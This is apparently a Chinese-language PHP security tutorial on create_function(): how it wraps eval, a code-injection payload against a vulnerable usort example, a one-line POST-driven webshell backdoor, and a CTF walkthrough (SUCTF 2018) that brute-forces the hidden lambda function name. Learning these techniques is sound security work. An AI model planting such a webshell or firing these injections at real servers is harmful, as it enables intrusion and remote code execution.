什么是 create_function()
create_function()
是 PHP 早期提供的一个用来创建匿名函数的函数:
$func = create_function('$a,$b', 'return $a + $b;');
echo $func(1, 2); // 输出 3
第一个参数是函数的参数列表(字符串形式),第二个参数是函数体(也是字符串)。
也就是说:它会把字符串当作代码执行!
从 PHP 7.2 开始,这个函数已经被废弃,因为太容易被滥用了
举个危险的例子
$input = $_GET['code'];
$func = create_function('$x', "return $input;");
echo $func(0);
如果用户访问:
example.php?code=phpinfo()
代码就会变成:
$func = create_function('$x', "return phpinfo();");
然后服务器就会执行 phpinfo()
造成信息泄露
注入
<?php
error_reporting(0);
$sort_by = $_GET['sort_by'];
$sorter = 'strnatcasecmp';
$databases=array('1234','4321');
$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
usort($databases, create_function('$a, $b', $sort_function));
?>
payload:
?sort_by=%27%22]);}phpinfo();/*
首先传参后会变成:
$sort_function = ' return 1 * strnatcasecmp($a["'"]);}phpinfo();/*"], $b["'"]);}phpinfo();/*"]);';
然后将这个放入create_function:
create_function('$a, $b', ' return 1 * strnatcasecmp($a["'"]);}phpinfo();/*"], $b["'"]);}phpinfo();/*"]);');
这里就会生成一个这样的函数:
function($a, $b) {
return 1 * strnatcasecmp(
$a["'"] // 合法访问数组(虽然没啥意义)
); // 闭合 return 调用
} // 闭合函数体结构
phpinfo(); // 恶意代码执行
/*"], $b["'"]);}phpinfo();/*"]); // 这些变成注释,避免语法错误
}
后门
大家经常忽略一点,就是creation_function也是可以用来构造一句话木马的后门的(说实话高版本creation_function都被废弃了,忽略也不是毫无道理的)
<?php $func =create_function('',$_POST['cmd']);$func();?>
将这个写入php文件就可以当后门使用,等价于eval
那么问题来了,为什么会等价呢
先来看 **create_function()**的定义
create_function()
的定义如下(PHP 官方解释):
create_function(string $args, string $code): Closure
这个函数的作用是:动态创建一个匿名函数 ,参数列表是 $args
,函数体是 $code
,并返回这个匿名函数的句柄。
它是怎么"动态创建"的呢?
从 PHP 源码和官方文档的解释来看,**create_function()**的内部实现就是用 **eval()**把代码构造出来然后执行的
比如:
$func = create_function('$a, $b', 'return $a + $b;');
等价于:
$func = eval('return function($a, $b) { return $a + $b; };');
所以本质上它会动态生成一个 function (...) { ... }
的结构,然后 eval 掉。
接下来才是今天的重点
create_function创建"匿名"函数
各位师傅可能看到这个引号就明白这里创建的匿名函数一定不是真匿名的
使用create_function()创建"匿名"函数 - OSCHINA - 中文开源技术交流社区
这里推荐一篇文章
总结一下就是create_function()这个函数的漏洞,他create之后会自动生成一个函数名为%00lambda_[0-999],后面的数字会逐步递增
因为create_function是返回函数名称的,函数返回一个唯一的字符串函数名, 出现错误的话则返回FALSE。
这么说这个函数也只是动态的创建了一个函数,而这个函数是有函数名的,也就是说,其实这并不是匿名的。 只是创建了一个全局唯一的函数而已。
所以接下来就来看看这道例题
[SUCTF 2018]annonymous
<?php
$MY = create_function("","die(`cat flag.php`);");
$hash = bin2hex(openssl_random_pseudo_bytes(32));
eval("function SUCTF_$hash(){"
."global \$MY;"
."\$MY();"
."}");
if(isset($_GET['func_name'])){
$_GET["func_name"]();
die();
show_source(__FILE__);
源码小小一段,但是短小精悍
简单来说就是 用create_function创造了一个匿名函数会输出flag
接着openssl_random_pseudo_bytes(32)生成一个随机数,然后将其转成了十六进制,将其赋值给$hash
接着SUCTF_和hash拼接成一个新的函数名,函数会执行上面构造的匿名函数
下面的func_name可以传一个函数进去并执行
那么就可以利用匿名函数的漏洞解出flag,只要拿bp爆一下%00lambda_[0-999]后面的数字就好了